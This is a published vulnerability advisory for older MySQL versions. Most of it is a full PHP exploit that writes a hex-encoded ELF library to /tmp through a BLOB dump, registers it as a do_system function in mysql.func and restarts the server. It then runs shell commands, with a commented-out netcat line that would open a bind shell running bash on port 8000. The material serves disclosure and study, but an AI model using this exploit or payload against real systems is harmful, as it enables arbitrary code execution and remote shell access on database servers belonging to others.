source: https://www.securityfocus.com/bid/12781/info

MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported:

- Insecure temporary file-creation vulnerability. Reports indicate that an attacker with 'CREATE TEMPORARY TABLE' privileges on an affected installation may leverage this vulnerability to corrupt files with the privileges of the MySQL process.

- Input-validation vulnerability. Remote attackers with INSERT and DELETE privileges on the 'mysql' administrative database can exploit this. Reports indicate that this issue may be leveraged to load and execute a malicious library in the context of the MySQL process.

- Remote arbitrary-code execution vulnerability. Reportedly, the vulnerability may be triggered by employing the 'CREATE FUNCTION' statement to manipulate functions to control sensitive data structures. This issue may be exploited to execute arbitrary code in the context of the database process.

These issues are reported to exist in MySQL versions prior to MySQL 4.0.24 and 4.1.10a.

<?
/*************************************
**  Mysql CREATE FUNCTION func table arbitrary library injection
**
**  Author: Stefano Di Paola
**  Vulnerable: Mysql <= 4.0.23, 4.1.10
**  Type of Vulnerability: Local/Remote Privileges Escalation  - input validation
**  Tested On : Mandrake 10.1 /Debian Sarge
**  Vendor Status: Notified on March 2005
**
**  Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
**
**
** Disclaimer:
**  In no event shall the author be liable for any damages
**  whatsoever arising out of or in connection with the use
**  or spread of this information.
**  Any use of this information is at the user's own risk.
**
**
*************************************
*/


// this is the MySql root password.
$pass='useyoupasswordhere';

function mysql_create_db($db,$link)
{
$query="CREATE database $db;";
 return  mysql_query($query, $link) ;

}
// the library in little endian hex. (from NGS's Hackproofing_MySql http://www.nextgenss.com/papers/HackproofingMySQL.pdf )
$solib="0x7f454c4601010100000000000000000003000300010000002006000034000000340a00000000000034002000040028001600150001000000000000000000000000000000940700009407000005000000001000000100000094070000941700009417000004010000080100000600000000100000020000009c0700009c1700009c170000c8000000c8000000060000000400000051e57464000000000000000000000000000000000000000006000000040000002500000028000000000000002600000000000000000000000000000000000000000000002200000027000000000000000000000000000000000000000000000000000000000000000000000000000000230000001e0000000000000000000000000000000000000000000000200000000000000000000000000000000000000021000000250000000000000000000000000000002400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c000000000000001f000000000000001d000000000000000000000000000000000000000000000000000000b4000000000000000300010000000000f001000000000000030002000000000070040000000000000300030000000000100500000000000003000400000000006005000000000000030005000000000090050000000000000300060000000000c0050000000000000300070000000000d0050000000000000300080000000000e8050000000000000300090000000000200600000000000003000a0000000000740700000000000003000b0000000000900700000000000003000c0000000000941700000000000003000d00000000009c1700000000000003000e0000000000641800000000000003000f00000000006c180000000000000300100000000000741800000000000003001100000000007818000000000000030012000000000098180000000000000300130000000000000000000000000003001400000000000000000000000000030015000000000000000000000000000300160000000000000000000000000003001700000000000000000000000000030018000000000000000000000000000300190000000000000000000000000003001a0000000000000000000000000003001b00010000009c170000000000001100f1ff610000000000000076000000120000002f000000d005000000000000120008007900000098180000000000001000f1ff35000000740700000000000012000b003b0000000000000097000000220000005e000000080700003600000012000a007200000098180000000000001000f1ff0a00000078180000000000001100f1ff850000009c180000000000001000f1ff4a00000000000000000000002000000020000000000000000000000020000000005f44594e414d4943005f474c4f42414c5f4f46465345545f5441424c455f005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c617373657300646f5f73797374656d006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000200010001000100030001000100010001000000000001000200680000001000000000000000731f6909000003008a000000100000001069690d000002009600000000000000941700000800000098170000080000002b070000021d00008c1800000621000090180000062600009418000006270000841800000721000088180000072600005589e583ec08e845000000e8e0000000e85b010000c9c300ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff00000000000000005589e553e8000000005b81c34f120000528b831c00000085c07402ffd0585bc9c39090909090909090909090909090905589e553e8000000005b81c31f1200005180bb200000000075348b931400000085d2752f8b8320ffffff8b1085d2741783c004898320ffffffffd28b8320ffffff8b1085d275e9c68320000000018b5dfcc9c383ec0c8b831cffffff50e846ffffff83c410ebbd89f68dbc27000000005589e553e8000000005b81c3af110000508b83fcffffff85c0740a8b831800000085c0750b8b5dfcc9c38db60000000083ec0c8d83fcffffff50e809ffffff83c4108b5dfcc9c3905589e583ec088b450c8338017409c745fc00000000eb1a83ec0c8b450c8b4008ff30e8fcffffff83c410c745fc000000008b45fcc9c390905589e55653e8000000005b81c32e1100008d83f0ffffff8d70fc8b40fc83f8ff740c83ee04ffd08b0683f8ff75f45b5e5dc390905589e553e8000000005b81c3fb10000050e8c6feffff595bc9c3000000000000941700007018000001000000680000000c000000d00500000d0000007407000004000000b4000000050000007004000006000000f00100000a000000a00000000b0000001000000003000000781800000200000010000000140000001100000017000000c00500001100000090050000120000003000000013000000080000001600000000000000feffff6f60050000ffffff6f01000000f0ffff6f10050000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff00000000000000009c1700000000000000000000fe0500000e060000000000000000000000000000004743433a2028474e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d316d646b2900004743433a2028474e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d326d646b2900004743433a2028474e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d326d646b2900004743433a2028474e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d326d646b2900004743433a2028474e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d316d646b2900002e7368737472746162002e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e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$link=mysql_connect("127.0.0.1","root",$pass);
if (!$link) {
   die('Could not connect: ' . mysql_error());
}
echo "Connected successfully as root\n";
echo "creating db for lib\n";
mysql_create_db('my_db',$link)  or print ('cannot create my_db db, sorry!');
echo "done....\n";
echo "selecting db for lib\n";
mysql_select_db('my_db') or print ('cannot use my_db db, sorry!');
echo "done....\n";

echo "creating blob table for lib\n";
$query="CREATE TABLE blob_tab (blob_col BLOB);";
$result = mysql_query($query, $link) or print("cannot  create blob table for lib\n");
echo "done....\n";

echo "inserting blob table for lib\n";
$query="INSERT into blob_tab values (CONVERT($solib,CHAR));";
$result = mysql_query($query, $link) or print("cannot  insert blob for lib\n");
echo "done....\n";

echo "dumping lib in /tmp/libso.so.0...\n";
$query="SELECT blob_col FROM blob_tab INTO DUMPFILE '/tmp/libso.so.0';";
$result = mysql_query($query, $link) or print("cannot  dump lib\n");
echo " done....\n";

mysql_select_db('mysql') or die ('cannot use mysql db, sorry!');
echo "sending lib....\n";

$query="insert into func (name,dl) values ('do_system','/tmp/libso.so.0');";
$result = mysql_query($query, $link);
echo "done....\n";
echo "Creating exit function to restart server\n";

$query="create function exit returns integer soname 'libc.so.6';";
$result = mysql_query($query, $link) or print ("cannot create exit, sorry!\n");
echo "done....\n";
echo "Selecting exit function\n";

$query="select exit();";
$result = mysql_query($query, $link);
echo "done!\nWaiting for server to restart\n";

sleep(1);

$link=mysql_connect("127.0.0.1","root",$pass);
if (!$link) {
   die('Could not connect: ' . mysql_error());
}
echo "Connected to MySql server again...\n";

//$cmd ='/usr/sbin/nc -l -p 8000 -e /bin/bash';
$cmd ='id >/tmp/id';
echo "Sending Command...$cmd\n";
$query="select do_system('$cmd');";
$result = mysql_query($query, $link);
echo "done!\n";
echo "Now use your fav shell and ls /tmp/id -l \n";
mysql_close($link);

?>